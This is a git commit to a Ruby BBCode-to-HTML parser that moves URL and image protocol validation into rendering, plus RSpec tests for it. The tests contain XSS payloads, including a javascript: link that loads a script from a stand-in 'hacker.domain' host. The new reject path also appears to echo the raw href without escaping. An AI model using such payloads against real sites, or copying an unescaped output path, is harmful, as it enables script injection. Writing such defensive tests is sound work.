check urls in transform, not parse

also, for tags that are rejected, return the original bbcode instead of
throwing up all over the place

bristlecode.rb

@@ -62,16 +62,8 @@ module Bristlecode
 
     rule(:img_open) { str('[img]') }
     rule(:img_close) { str('[/img]') }
-    rule(:img) {
-      (
-        img_open >>
-        (
-          (str('http://') | str('https://')) >>
-          (img_close.absent? >> any).repeat(1)
-        ).as(:src) >>
-        img_close
-      ).as(:img)
-    }
+    rule(:img_src) { (img_close.absent? >> any).repeat(1) }
+    rule(:img) { (img_open >> img_src.as(:src) >> img_close).as(:img) }
 
     rule(:eof) { any.absent? }
     rule(:tag) { bold | italic | url | linebreak | img }
@@ -148,26 +140,37 @@ module Bristlecode
   end
 
   class Url
-    attr_accessor :href, :title
+    attr_accessor :href, :title, :bad_href, :title_supplied
 
     def initialize(args)
       self.href = args[:href].to_str.strip
-      check_href
       if args.has_key? :title
+        self.title_supplied = true
         self.title = Doc.new(args[:title])
       else
-        self.title = Text.new(href)
+        self.title_supplied = false
+        self.title = Text.new(self.href)
       end
     end
 
-    def check_href
-      unless href =~ /^(\/[^\/]|https?:\/\/)/
-        raise "href must start with /, http, or https"
-      end
+    def href_ok?
+      href =~ /^https?:/
     end
 
     def to_html
-      "<a href=\"#{href}\">#{title.to_html}</a>"
+      if href_ok?
+        "<a href=\"#{href}\">#{title.to_html}</a>"
+      else
+        reject
+      end
+    end
+
+    def reject
+      if title_supplied
+        "[url=#{href}]#{title.to_html}[/url]"
+      else
+        Text.new("[url]#{href}[/url]").to_html
+      end
     end
   end
 
@@ -184,8 +187,16 @@ module Bristlecode
       self.src = img[:src].to_str
     end
 
+    def src_ok?
+      src =~ /^(\/[^\/]|https?:\/\/)/
+    end
+
     def to_html
-      "<img src=\"#{src}\">"
+      if src_ok?
+        "<img src=\"#{src}\">"
+      else
+        Text.new("[img]#{src}[/img]").to_html
+      end
     end
   end
 end

spec/bristlecode/parser_spec.rb

@@ -75,12 +75,12 @@ module Bristlecode
       expect(to_html(input)).to eq(output)
     end
 
-    it 'rejects bad url protocols' do
+    it 'ignores url tags with bad protocols' do
       input = '[url=javascript:alert(1)]google.com[/url]'
-      expect { to_html(input) }.to raise_error
+      expect(to_html(input)).to eq(input)
 
       input = '[url=ftp://something.com/filez]google.com[/url]'
-      expect { to_html(input) }.to raise_error
+      expect(to_html(input)).to eq(input)
     end
 
     it 'allows subtrees in <a> tags' do
@@ -91,20 +91,28 @@ module Bristlecode
 
     it 'rejects bad url protocols' do
       input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]"
-      expect { to_html(input) }.to raise_error
+      expect(to_html(input)).to eq(input)
 
       input = "[url=ftp://whatever.com/etc]warez[/url]"
-      expect { to_html(input) }.to raise_error
+      expect(to_html(input)).to eq(input)
     end
 
     it 'renders a linebreak' do
       expect(to_html('[br]')).to eq('<br>')
     end
 
-    it 'handles images' do
+    it 'renders an image' do
       input = '[img]http://example.com/cat.gif[/img]'
       expect(to_html(input)).to eq('<img src="http://example.com/cat.gif">')
     end
+
+    it 'ignores bad image src protocols' do
+      input = '[img]javascript:alert(1)[/img]'
+      expect(to_html(input)).to eq(input)
+
+      input = '[img]ftp://example.com/cat.gif[/img]'
+      expect(to_html(input)).to eq(input)
+    end
   end
 
   describe Parser do
@@ -224,11 +232,6 @@ module Bristlecode
         expect(parser.img).to parse('[img]http://example.com/something.gif[/img]')
         expect(parser.img).to parse('[img]https://example.com/something.gif[/img]')
       end
-
-      it 'rejects bad protocols' do
-        expect(parser.img).not_to parse('[img]ftp://example.com/something.gif[/img]')
-        expect(parser.img).not_to parse('[img]javascript:alert(1);[/img]')
-      end
     end
   end
 end